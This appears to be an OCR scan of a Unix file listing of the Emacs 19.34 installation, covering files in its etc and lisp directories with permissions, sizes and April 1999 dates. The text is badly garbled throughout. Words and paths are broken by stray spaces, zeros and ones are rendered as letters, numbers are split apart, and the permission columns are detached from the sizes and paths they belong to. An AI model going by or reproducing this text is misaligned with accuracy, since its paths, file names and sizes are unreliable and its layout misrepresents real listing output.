-r-- r-- r-- O O l 47927 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/etc/OOOON EWS 

-r--r-- r-- O O l 144828 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/etc/ORDERS 

- r--r--r-- O O l 244 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/etc/ORDERS . E U ROPE  

-r--r--r-- O O l 8117 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/etc/ORDERS .JAPAN 

-r-- r-- r-- O O l 40784 Apr 28 1999 /usr/loca l/sha re/em acs/19 .34/etc/OTH ER . EMACSES 

- r--r-- r-- O O l 342 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/etc/READM E 

-r--r-- r-- O O l 43875 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/etc/SERVICE 

- r-- r-- r-- O O l 8600 Apr 28 1999 /usr/l oca l/sha re/emacs/19 . 34/etc/SU N -SUPPORT 

-r--r-- r-- O O l 9269 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/etc/TERMS 

-r--r--r-- O O l 1464 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/etc/TODO 

-r--r--r-- O O l 38616 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/etc/TUTORIAL 

- r--r-- r-- O O l 11482 Apr 28 1999 /usr/loca l/share/emacs/19 .34/etc/WHY-FREE 

- r-- r-- r-- O O l 9943 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/etc/Xkeymap .txt 

- r-- r--r-- O O l 1913 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/etc/3B-MAXM EM 

d rwxr-xr-x O O l O Apr 28  1999 /usr/ loca l/share/emacs/19 . 34/ l i sp/ 

-r--r--r-- O O l 10553 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/abb rev.e l  

- rw-r-- r-- O O l 8422 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/a bbrev.e l c  
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-r--r--r-- O O 

-rw-r--r-- O O 

-r--r-- r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r-- r-- O O 

-r--r--r-- O O 

-rw-r-- r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

-r-- r--r-- O O 

-rw-r--r-- O O 

-r-- r-- r-- O O 

-rw-r--r-- O O 

-r--r-- r-- O O 

-rw-r--r-- O O 

-r-- r-- r-- O O 

-rw-r-- r-- O O 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1828 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/a bbrev l i st .e l  

910 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/abb revl i st . e l c  

20785 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/add -log .e l  

9634 Apr 28 1999 /usr/ loca l/share/emacs/19.34/ l i sp/add- log .e l c  

169011 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/advi ce .e l  

45963 Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/advice .e l c  

170273 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/a l l out .e l  

107036 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/a l l out .e l c  

20402 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/a p ropos .e l  

11677 Apr  28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/ap ropos .e l c  

34388 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/a rray .e l  

23081 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/a rray .e lc  

5 108 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/assoc.e l  

4113 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/assoc .e lc  

3939 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/auto-show.e l  

2435 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/auto-show.e lc  

9040 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/a uto i nsert .e l  

63 15 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/auto i nsert .e l c  
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-r--r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

-r-- r-- r-- O O 

-rw-r--r-- O O 

-r-- r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r-- r-- O O 

-r-- r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

-r-- r-- r-- O O 

-rw-r-- r-- O O 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

14736 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/a utoload .e l  

6516 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/auto load .e l c  

14338 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/avoi d .e l  

8 1 10 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/avoi d .e lc  

3655 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/awk-mode .e l  

1962 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/awk-mode .e l c  

7115 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/backquote .e l  

3 129 Apr 28 1999 /usr/l oca l/sha re/emacs/19 .34/ l i sp/backq uote .e l c  

80618 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i s p/bookmark .e l  

5 1 1 18 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/bookmark .e lc  

19980 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/buff-menu .e l  

12284 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/buff-menu .e l c  

69400 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/byte-opt .e l  

24357 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/byte-opt .e lc  

6168 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/byte -run . e l  

2578  Apr 28 1999 /usr/ loca l/share/emacs/19.34/ l i sp/byte-run . e l c  

128581 Apr  28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/bytecomp .e l  

73434 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/bytecomp.e l c  
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-r--r--r-- O O l 

-rw-r--r-- O O l 

-r-- r--r-- O O l 

- rw-r--r-- O O l 

-r--r--r-- O O l 

-rw-r--r-- O O l 

-r--r-- r-- O O 1 

- rw-r--r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r--r-- O O 1 

-r--r-- r-- O O l 

-rw-r-- r-- O O 1 

-r--r--r-- O O 1 

- rw-r-- r-- O O 1 

- r-- r--r-- O O 1 

-rw-r--r-- O O 1 

- r--r--r-- O O 1 

-rw-r-- r-- O O 1 

60655 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/c-mode .e l  

24587 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/c-mode .e lc  

4317 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/case -tab le .e l  

2559 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i s p/case-tab le .e l c  

5222 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/cc-com pat .e l  

2585 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/cc-com pat .e l c  

183405 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/cc-mode .e l  

90427 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/cc-mode .e lc  

6743 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ch i story .e l  

4936 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/ch i story.e l c  

26224 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/c l . e l  

18838 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/cl .e l c  

6124 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/cl -com pat .e l  

3751 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/c l -com pat.e l c  

33210 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/cl -extra .e l  

20741 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/cl -extra .e lc  

19532 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/c l -i ndent .e l  

5982 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/c l - i ndent .e lc  
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-r-- r-- r-- O O 1 

-rw-r--r-- O O 1 

-r--r--r-- O O 1 
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-r--r--r-- O O 1 
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102 114 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/cl -macs .e l  

74891 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/c l -macs .e l c  

37622 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/c l -seq .e l  

34147 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/c l -seq .e l c  

14233 Apr 28 1999 /usr/l oca l/sha re/emacs/19 .34/ l i sp/c l -specs .e l  

8503 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/c l -specs .e l c  

14121 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/cmacexp.e l  

5 188 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/cmacexp .e lc  

93952 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/com i nt .e l  

53340 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/com i nt .e l c  

5993 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/compa re-w.e l  

2901 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/compa re-w.e lc  

60913 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/com pi l e .e l  

30478 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/co m pi l e .e l c  

30310 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/com p lete .e l  

14382 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/com plete .e l c  

95818 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/com pletion .e l  

37531  Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/com pletion .e l c  
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5341 Apr 28 1999 /usr/l oca l/sha re/emacs/19 .34/ l i sp/copyright .e l  

3384 Apr 28 1999 /usr/local/sha re/emacs/ 19.34/l i sp/copyright .e l c  

40416 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/cp lus -md .e l  

13247 Apr 28  1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/cp lus -md .e l c  

26814 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/cpp .e l  

16813 Apr 28  1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/cpp .e l c  

26493 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/cust-pr int .e l  

11561  Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/cust-pr int .e lc  

83825 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/custom .e l  

60840 Apr 28 1999 /usr/loca l /sha re/emacs/19 .34/l i sp/custom .e lc  

32900 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/dabbrev.e l  

14885 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/dabbrev.e l c  

18657 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/debug .e l  

1 1050 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/debug .e lc  

4237 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/de l se l . e l  

2492 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/de l sel . e l c  

13771 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/derived .e l  

7220 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/derived .e l c  
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-r-- r--r-- O O 1 

-rw-r--r-- O O 1 
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2 1455 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/desktop .e l  

1 1795 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/desktop .e l c  

10545 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/diff. e l  

5533 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/diff. e lc  

95709 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/d i red .e l  

60332 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/d i red .e l c  

73264 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/d i red-aux .e l  

41868 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/d i red-aux .e lc  

65762 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/d i red -x .e l  

34331  Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/d i red-x .e l c  

8990 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/d isass .e l  

3883 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/d isass .e lc  

7341 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/d i sp-tab le .e l  

5 212 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/d i sp -ta b le .e l c  

10124 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/docref.e l  

5947 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/docref.e lc  

7258 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/easymenu .e l  

4706 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/easymen u .e l c  
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10357 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/ebuff-menu .e l  

7252 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ebuff-menu .e l c  

6505 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/ech istory .e l  

4040 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/ech istory. e l c  

158775 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/edebug .e l  

94521  Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/edebug .e lc  

42841 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/ed i ff. e l  

43 114 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/ed iff-d iff. e l  

22788 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/ed iff-d i ff. e l c  

12604 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/ed i ff-hook .e l  

8 163 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ediff-hook .e lc  

58749 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/ed iff- i n i t .e l  

54461 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/ed iff- in i t .e l c  

10234 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ed i ff-merg .e l  

13938 Apr 28  1999 /usr/local/sha re/emacs/19. 34/l i sp/ed iff-merg .e l c  

58815 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ed i ff-mu l t .e l  

34683 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/ed iff-mu lt .e l c  

20204 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/ediff-ptch .e l  
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10464 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ed iff-ptch .e l c  

124302 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/ed iff-ut i l . e l 

84202 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/ed iff-ut i l . e l c  

12609 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ed iff-vers.e l  

5589 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ed iff-vers .e lc  

43675 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/ed iff-wi nd .e l  

26155  Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ed iff-wi nd .e l c  

28634 Apr 28 1999 /usr/ l.oca l/sha re/emacs/19.34/ l i sp/edmacro .e l  

173 10 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/edmacro .e l c  

14979 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/ehe lp .e l  

8730 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/ehe lp .e l c  

6555  Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/e lectri c .e l  

2470 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/electri c .e lc  

21007 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/e lp .e l  

9012  Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i s p/e l p .e l c  

2580 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/emacs- lock .e l  

1337 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/emacs- lock .e lc  

5201 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/emacsbug .e l  
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2851 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/emacsbug .e lc  

121490 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/emerge .e l  

71345 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/emerge .e l c  

4308 Apr 28 1999 /usr/ loca l/share/emacs/19 .34/l i sp/env .e l  

2290 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/env .e lc  

61541 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/etags .e l  

3 1806 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/etags .e l c  

8120 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/eva l -reg .e l  

4377 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/eva l - reg .e l c  

9429 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/executa b le .e l  

5761 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/executab le .e l c  

25889 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/facemenu .e l  

172 15 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/facemenu .e l c  

48193 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/faces.e l  

29784 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/fa ces .e l c  

30828 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/fast- l ock. e l  

15097 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/fast- lock .e l c  

56013  Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ffa p .e l  
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-rw-r--r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r--r-- r-- O O 1 

- rw-r--r-- O O 1 

-r--r--r-- O O 1 

-rw-r-- r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

- r-- r-- r-- O O 1 

-rw-r--r-- O O 1 

- r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r-- r--r-- O O 1 

- rw-r--r-- O O 1 

-r-- r--r-- O O 1 

32361 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ffa p .e l c  

106732 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/fi les .e l  

67884 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/fi les .e lc  

32798 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/fi l l . e l  

17332 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/fi l l . e l c  

7647 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/fi nd -d i red .e l  

4182 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/fi n d -d i red .e l c  

33680 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/fi nd -fi l e . e l  

16670 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/fi n d -fi l e .e l c  

5204 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/fi nd -gc .e l  

2562 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/fi nd -gc .e lc 

10098 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/fi nder.e l  

7090 Apr 28 1999 /usr/ local/sha re/emacs/19.34/l i sp/fi n der .e l c  

35870 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/fi nder- i nf. e l  

27910 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/fi nder- i nf. e l c  

15221 Apr 28 1999 /usr/ l oca l/sha re/emacs/19 .34/ l i sp/fl oat .e l  

8307 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/float .e lc  

2 164 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/fl oat-s up.e l  
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- rw-r--r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

- r-- r-- r-- O O 

- rw-r--r-- O O 

- r-- r-- r-- O O 

- rw-r-- r-- O O 

- r--r--r-- O O 

- rw-r-- r-- O O 

-r--r--r-- O O 

- rw-r-- r-- O O 

- r-- r-- r-- O O 

- rw-r-- r-- O O 

- r--r--r-- O O 

- r-- r-- r-- O O 

-rw-r-- r-- O O 

- r--r-- r-- O O 

- rw-r--r-- O O 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

1277 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/float-sup . e l c  

5294 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/flow-ctr l . e l  

2 194 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/flow-ctr l . e l c  

20019 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/fo ldout .e l  

6 141 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/fo ldout .e lc  

84011  Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/fo l l ow.e l  

35526 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/fo l l ow.e lc  

79757 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/font- lock .e l  

47792 Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/font- lock.e lc  

32400 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/format. e l  

19074 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/format.e l c  

67716 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/forms .e l  

30740 Apr 28  1999 /usr/local/sha re/emacs/19 .34/l i sp/forms .e lc  

565 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/forms -d2 . dat 

2202 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/forms-d2 .e l  

1952  Apr  28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/forms-d2 .e l c  

572 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/forms-pass .e l  

787 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/forms-pass .e lc  
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-r--r--r-- O O 1 

-rw-r-- r-- O O 1 

-r--r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r--r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r--r-- O O 1 

-rw-r--r-- O O 1 
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-rw-r-- r-- O O 1 

-r--r--r-- O O 1 

-rw-r-- r-- O O 1 

28900 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/frame .e l  

168 14 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/frame .e l c  

62046 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/gud .e l  

33287 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/gud .e l c  

5508 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/gu l p .e l  

3800 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/gu l p .e l c  

24126 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/he l p .e l  

16404 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/he l p .e l c  

6780 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/he lp -macro .e l  

3374 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/he lp -macro .e lc  

5098 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/h el per .e l  

3 129 Apr 28 1999 /usr/ local/sha re/emacs/19. 34/l i sp/he l per .e lc  

28684 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/hexl .e l  

18962 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/hexl .e lc  

33384 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/h ide if.e l  

18775 Apr 28  1999 /usr/l oca l/sha re/emacs/19. 34/l i sp/h ide if. e l c  

18207 Apr  28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/h ideshow.e l  

1 143 1 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/h ideshow.e lc  
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-r-- r--r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 
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-r-xr-xr-x O O 1 
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40680 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/h i p p ie-exp .e l  

18956 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/h i pp ie-exp .e l c  

10952 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/icomp l ete .e l  

5 654 Ap r 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/icomp l ete .e l c  

17373 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/i e lm .e l  

10579 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/i e lm .e l c  

29 158 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/i menu . e l  

16842 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/imenu .e l c  

17432 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/i ndent. e l  

12238  Apr 28  1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/i ndent .e l c  

67464 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/i nfo .e l  

38265 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/i nfo .e l c  

14214 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/i nformat .e l  

6791 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/i nformat .e lc  

5 1673 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/isea rch .e l  

27879 Apr 28  1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/isea rch .e l c  

326 Apr 28  1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/j immy.e l  

729 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/j immy.e lc  
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-r-- r--r-- O O 1 

- rw-r--r-- O O 1 

-r--r-- r-- O O 1 

-rw-r--r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r--r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r--r-- r-- O O 1 

-rw-r--r-- O O 1 
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-rw-r--r-- O O 1 
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- r--r--r-- O O 1 

- rw-r-- r-- O O 1 

-r--r--r-- O O 1 

25814 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/j ka -com pr .e l  

14398 Apr 28  1999 /usr/loca l/sha re/emacs/19.34/l i sp/jka-com pr .e l c  

38420 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/l azy- lock .e l  

17552 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i s p/l a zy- lock.e l c  

10286 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/l i sp .e l  

7636 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/l i sp .e l c  

17075 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/l i sp-mnt .e l  

10036 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/l i s p-mnt .e l c  

